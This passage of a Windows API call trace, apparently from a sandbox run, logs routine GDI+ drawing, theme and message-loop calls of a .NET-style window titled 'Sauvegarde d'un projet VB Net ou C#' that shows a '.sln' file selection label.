result=0x2be49c) returned 0x0 [0240.686] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0240.686] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0240.686] LocalFree (hMem=0x5fd4d0) returned 0x0 [0240.686] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0240.686] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0240.686] LocalFree (hMem=0x5fd4d0) returned 0x0 [0240.686] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0240.686] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0240.686] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0240.687] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0240.687] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0240.687] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0240.687] GetCurrentObject (hdc=0x1701008e, type=0x1) returned 0x1b00017 [0240.687] GetCurrentObject (hdc=0x1701008e, type=0x2) returned 0x1900010 [0240.687] GetCurrentObject (hdc=0x1701008e, type=0x7) returned 0x210506ba [0240.687] GetCurrentObject (hdc=0x1701008e, type=0x6) returned 0x18a002e [0240.687] SaveDC (hdc=0x1701008e) returned 1 [0240.687] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5d040789 [0240.687] GetClipRgn (hdc=0x1701008e, hrgn=0x5d040789) returned 0 [0240.687] SelectClipRgn (hdc=0x1701008e, hrgn=0x620401eb) returned 2 [0240.687] DeleteObject (ho=0x5d040789) returned 1 [0240.687] DeleteObject (ho=0x620401eb) returned 1 [0240.687] OffsetViewportOrgEx (in: hdc=0x1701008e, x=0, y=0, lppt=0x25d5a80 | out: lppt=0x25d5a80) returned 1 [0240.687] DrawThemeParentBackground () returned 0x0 [0240.687] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0240.688] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0240.688] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0240.688] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0240.688] GetSystemMetrics (nIndex=42) returned 0 [0240.688] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0240.688] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0240.688] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0240.688] GetCurrentObject (hdc=0x1701008e, type=0x1) returned 0x1b00017 [0240.688] GetCurrentObject (hdc=0x1701008e, type=0x2) returned 0x1900010 [0240.688] GetCurrentObject (hdc=0x1701008e, type=0x7) returned 0x210506ba [0240.688] GetCurrentObject (hdc=0x1701008e, type=0x6) returned 0x18a002e [0240.688] SaveDC (hdc=0x1701008e) returned 2 [0240.688] GetNearestColor (hdc=0x1701008e, color=0xf0f0f0) returned 0xf0f0f0 [0240.688] CreateSolidBrush (color=0xf0f0f0) returned 0x341006a2 [0240.688] FillRect (hDC=0x1701008e, lprc=0x2bdf94, hbr=0x341006a2) returned 1 [0240.688] DeleteObject (ho=0x341006a2) returned 1 [0240.688] RestoreDC (hdc=0x1701008e, nSavedDC=-1) returned 1 [0240.688] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0240.688] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0240.689] GetSystemMetrics (nIndex=42) returned 0 [0240.689] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0240.689] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0240.689] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0240.689] GetCurrentObject (hdc=0x1701008e, type=0x1) returned 0x1b00017 [0240.689] GetCurrentObject (hdc=0x1701008e, type=0x2) returned 0x1900010 [0240.689] GetCurrentObject (hdc=0x1701008e, type=0x7) returned 0x210506ba [0240.689] GetCurrentObject (hdc=0x1701008e, type=0x6) returned 0x18a002e [0240.689] SaveDC (hdc=0x1701008e) returned 2 [0240.689] GetNearestColor (hdc=0x1701008e, color=0xf0f0f0) returned 0xf0f0f0 [0240.689] CreateSolidBrush (color=0xf0f0f0) returned 0x351006a2 [0240.689] FillRect (hDC=0x1701008e, lprc=0x2bdf34, hbr=0x351006a2) returned 1 [0240.689] DeleteObject (ho=0x351006a2) returned 1 [0240.689] RestoreDC (hdc=0x1701008e, nSavedDC=-1) returned 1 [0240.689] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0240.689] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0240.689] GetSystemMetrics (nIndex=42) returned 0 [0240.689] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0240.689] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0240.690] RestoreDC (hdc=0x1701008e, nSavedDC=-1) returned 1 [0240.690] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1701008e) returned 0x0 [0240.690] IsAppThemed () returned 0x1 [0240.690] GetThemeAppProperties () returned 0x3 [0240.690] GetThemeAppProperties () returned 0x3 [0240.690] IsAppThemed () returned 0x1 [0240.690] GetThemeAppProperties () returned 0x3 [0240.690] GetThemeAppProperties () returned 0x3 [0240.690] IsThemePartDefined () returned 0x1 [0240.690] GdipCreateRegion (region=0x2be428) returned 0x0 [0240.690] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0240.690] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0240.690] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0240.690] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0240.690] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0240.690] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0240.690] LocalFree (hMem=0x5fd4d0) returned 0x0 [0240.690] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0240.690] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0240.690] LocalFree (hMem=0x5fd4d0) returned 0x0 [0240.690] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0240.691] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0240.691] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0240.691] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0240.691] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0240.691] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0240.691] GetCurrentObject (hdc=0x1701008e, type=0x1) returned 0x1b00017 [0240.691] GetCurrentObject (hdc=0x1701008e, type=0x2) returned 0x1900010 [0240.691] GetCurrentObject (hdc=0x1701008e, type=0x7) returned 0x210506ba [0240.691] GetCurrentObject (hdc=0x1701008e, type=0x6) returned 0x18a002e [0240.691] SaveDC (hdc=0x1701008e) returned 1 [0240.691] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x630401eb [0240.691] GetClipRgn (hdc=0x1701008e, hrgn=0x630401eb) returned 0 [0240.691] SelectClipRgn (hdc=0x1701008e, hrgn=0x5f040789) returned 2 [0240.691] DeleteObject (ho=0x630401eb) returned 1 [0240.691] DeleteObject (ho=0x5f040789) returned 1 [0240.691] OffsetViewportOrgEx (in: hdc=0x1701008e, x=0, y=0, lppt=0x25d64b8 | out: lppt=0x25d64b8) returned 1 [0240.691] IsAppThemed () returned 0x1 [0240.691] GetThemeAppProperties () returned 0x3 [0240.692] GetThemeAppProperties () returned 0x3 [0240.692] DrawThemeBackground () returned 0x0 [0240.692] RestoreDC (hdc=0x1701008e, nSavedDC=-1) returned 1 [0240.692] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1701008e) returned 0x0 [0240.692] GdipCreateRegion (region=0x2be410) returned 0x0 [0240.692] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0240.692] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0240.692] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0240.692] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0240.692] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0240.692] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0240.692] LocalFree (hMem=0x5fd4d0) returned 0x0 [0240.692] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0240.692] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0240.692] LocalFree (hMem=0x5fd4d0) returned 0x0 [0240.692] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0240.692] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0240.692] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0240.692] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0240.692] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0240.692] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0240.693] GetCurrentObject (hdc=0x1701008e, type=0x1) returned 0x1b00017 [0240.693] GetCurrentObject (hdc=0x1701008e, type=0x2) returned 0x1900010 [0240.693] GetCurrentObject (hdc=0x1701008e, type=0x7) returned 0x210506ba [0240.693] GetCurrentObject (hdc=0x1701008e, type=0x6) returned 0x18a002e [0240.693] SaveDC (hdc=0x1701008e) returned 1 [0240.693] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x60040789 [0240.693] GetClipRgn (hdc=0x1701008e, hrgn=0x60040789) returned 0 [0240.693] SelectClipRgn (hdc=0x1701008e, hrgn=0x640401eb) returned 2 [0240.693] DeleteObject (ho=0x60040789) returned 1 [0240.693] DeleteObject (ho=0x640401eb) returned 1 [0240.693] OffsetViewportOrgEx (in: hdc=0x1701008e, x=0, y=0, lppt=0x25d678c | out: lppt=0x25d678c) returned 1 [0240.693] IsAppThemed () returned 0x1 [0240.693] GetThemeAppProperties () returned 0x3 [0240.693] GetThemeAppProperties () returned 0x3 [0240.693] GetThemeBackgroundContentRect () returned 0x0 [0240.693] RestoreDC (hdc=0x1701008e, nSavedDC=-1) returned 1 [0240.693] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1701008e) returned 0x0 [0240.693] IsAppThemed () returned 0x1 [0240.693] GetThemeAppProperties () returned 0x3 [0240.693] GetThemeAppProperties () returned 0x3 [0240.693] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0240.693] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0240.694] GetCurrentObject (hdc=0x1701008e, type=0x1) returned 0x1b00017 [0240.694] GetCurrentObject (hdc=0x1701008e, type=0x2) returned 0x1900010 [0240.694] GetCurrentObject (hdc=0x1701008e, type=0x7) returned 0x210506ba [0240.694] GetCurrentObject (hdc=0x1701008e, type=0x6) returned 0x18a002e [0240.694] SaveDC (hdc=0x1701008e) returned 1 [0240.694] GetTextAlign (hdc=0x1701008e) returned 0x0 [0240.694] GetTextColor (hdc=0x1701008e) returned 0x0 [0240.694] GetCurrentObject (hdc=0x1701008e, type=0x6) returned 0x18a002e [0240.694] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0240.695] SelectObject (hdc=0x1701008e, h=0x90a01e9) returned 0x18a002e [0240.695] GetBkMode (hdc=0x1701008e) returned 2 [0240.695] SetBkMode (hdc=0x1701008e, mode=1) returned 2 [0240.695] DrawTextExW (in: hdc=0x1701008e, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x25d6b20 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0240.695] DrawTextExW (in: hdc=0x1701008e, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x25d6b20 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0240.695] RestoreDC (hdc=0x1701008e, nSavedDC=-1) returned 1 [0240.695] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1701008e) returned 0x0 [0240.695] GetFocus () returned 0x1019c [0240.695] IsAppThemed () returned 0x1 [0240.695] GetThemeAppProperties () returned 0x3 [0240.695] GetThemeAppProperties () returned 0x3 [0240.695] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0240.695] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x1701008e, x1=0, y1=0, rop=0xcc0020) returned 1 [0240.696] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1701008e) returned 0x0 [0240.696] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0240.696] SelectObject (hdc=0x1701008e, h=0x185000f) returned 0x210506ba [0240.696] DeleteDC (hdc=0x1701008e) returned 1 [0240.696] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0240.696] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0240.696] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0240.696] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0240.696] WaitMessage () returned 1 [0240.793] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.793] IsWindowUnicode (hWnd=0x20152) returned 1 [0240.793] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.793] TranslateMessage (lpMsg=0x2bec18) returned 0 [0240.793] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0240.793] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0240.793] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0240.793] WaitMessage () returned 1 [0240.990] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.990] IsWindowUnicode (hWnd=0x1019e) returned 1 [0240.990] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0240.990] TranslateMessage (lpMsg=0x2bec18) returned 0 [0240.990] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0240.990] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0240.990] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0240.990] WaitMessage () returned 1 [0241.770] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0241.770] IsWindowUnicode (hWnd=0x1019c) returned 1 [0241.770] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0241.770] GetKeyState (nVirtKey=16) returned 0 [0241.770] GetKeyState (nVirtKey=17) returned 0 [0241.770] GetKeyState (nVirtKey=18) returned -128 [0241.770] SendMessageW (hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0241.770] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0241.770] GetKeyState (nVirtKey=16) returned 0 [0241.770] GetKeyState (nVirtKey=17) returned 0 [0241.770] GetKeyState (nVirtKey=18) returned -128 [0241.770] TranslateMessage (lpMsg=0x2bec18) returned 1 [0241.770] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0241.770] GetKeyState (nVirtKey=16) returned 0 [0241.770] GetKeyState (nVirtKey=17) returned 0 [0241.770] GetKeyState (nVirtKey=18) returned -128 [0241.770] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0241.770] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0241.770] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0241.770] WaitMessage () returned 1 [0241.780] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0241.780] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0241.780] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0241.781] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0241.875] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0241.875] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0241.875] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0241.875] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0241.893] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0241.893] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0241.893] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0241.972] NtdllDefWindowProc_W () returned 0x0 [0241.972] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0241.972] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0241.972] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0241.972] GetCapture () returned 0x0 [0241.972] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0241.972] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0241.972] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0241.972] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0241.972] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0241.972] IsWindowUnicode (hWnd=0x1019c) returned 1 [0241.972] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0241.972] TranslateMessage (lpMsg=0x2bec18) returned 0 [0241.972] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0241.972] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x701068c [0241.972] SelectPalette (hdc=0x701068c, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0241.972] CreateCompatibleDC (hdc=0x701068c) returned 0x1d0101a0 [0241.973] SelectObject (hdc=0x1d0101a0, h=0x210506ba) returned 0x185000f [0241.973] GdipCreateFromHDC (hdc=0x1d0101a0, graphics=0x2be714) returned 0x0 [0241.973] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0241.973] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0241.973] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0241.973] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0241.973] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0241.973] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0241.973] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0241.973] LocalFree (hMem=0x5fd4d0) returned 0x0 [0241.973] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0241.973] GdipCreateRegion (region=0x2be75c) returned 0x0 [0241.973] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0241.973] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0241.973] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0241.973] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd930dbd) returned 0x0 [0241.973] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0241.973] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0241.973] GetCurrentObject (hdc=0x1d0101a0, type=0x1) returned 0x1b00017 [0241.973] GetCurrentObject (hdc=0x1d0101a0, type=0x2) returned 0x1900010 [0241.973] GetCurrentObject (hdc=0x1d0101a0, type=0x7) returned 0x210506ba [0241.973] GetCurrentObject (hdc=0x1d0101a0, type=0x6) returned 0x18a002e [0241.973] SaveDC (hdc=0x1d0101a0) returned 1 [0241.973] GetNearestColor (hdc=0x1d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0241.973] GetNearestColor (hdc=0x1d0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0241.974] GetNearestColor (hdc=0x1d0101a0, color=0x696969) returned 0x696969 [0241.974] GetNearestColor (hdc=0x1d0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0241.974] GetNearestColor (hdc=0x1d0101a0, color=0x0) returned 0x0 [0241.974] GetNearestColor (hdc=0x1d0101a0, color=0xffffff) returned 0xffffff [0241.974] GetNearestColor (hdc=0x1d0101a0, color=0xe5e5e5) returned 0xe5e5e5 [0241.974] GetNearestColor (hdc=0x1d0101a0, color=0xd7d7d7) returned 0xd7d7d7 [0241.974] GetNearestColor (hdc=0x1d0101a0, color=0x0) returned 0x0 [0241.974] RestoreDC (hdc=0x1d0101a0, nSavedDC=-1) returned 1 [0241.974] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1d0101a0) returned 0x0 [0241.974] IsAppThemed () returned 0x1 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] IsAppThemed () returned 0x1 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x25faa98 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0241.974] IsAppThemed () returned 0x1 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] IsAppThemed () returned 0x1 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] GetFocus () returned 0x0 [0241.974] IsAppThemed () returned 0x1 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] IsAppThemed () returned 0x1 [0241.974] GetThemeAppProperties () returned 0x3 [0241.974] GetThemeAppProperties () returned 0x3 [0241.975] IsThemePartDefined () returned 0x1 [0241.975] IsAppThemed () returned 0x1 [0241.975] GetThemeAppProperties () returned 0x3 [0241.975] GetThemeAppProperties () returned 0x3 [0241.975] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0241.975] IsAppThemed () returned 0x1 [0241.975] GetThemeAppProperties () returned 0x3 [0241.975] GetThemeAppProperties () returned 0x3 [0241.975] IsAppThemed () returned 0x1 [0241.975] GetThemeAppProperties () returned 0x3 [0241.975] GetThemeAppProperties () returned 0x3 [0241.975] IsThemePartDefined () returned 0x1 [0241.975] GdipCreateRegion (region=0x2be484) returned 0x0 [0241.975] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0241.975] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0241.975] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0241.975] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0241.975] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0241.975] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0241.975] LocalFree (hMem=0x5fd4d0) returned 0x0 [0241.975] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0241.975] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0241.975] LocalFree (hMem=0x5fd4d0) returned 0x0 [0241.975] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0241.975] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0241.975] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0241.975] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0241.975] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0241.975] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0241.975] GetCurrentObject (hdc=0x1d0101a0, type=0x1) returned 0x1b00017 [0241.975] GetCurrentObject (hdc=0x1d0101a0, type=0x2) returned 0x1900010 [0241.975] GetCurrentObject (hdc=0x1d0101a0, 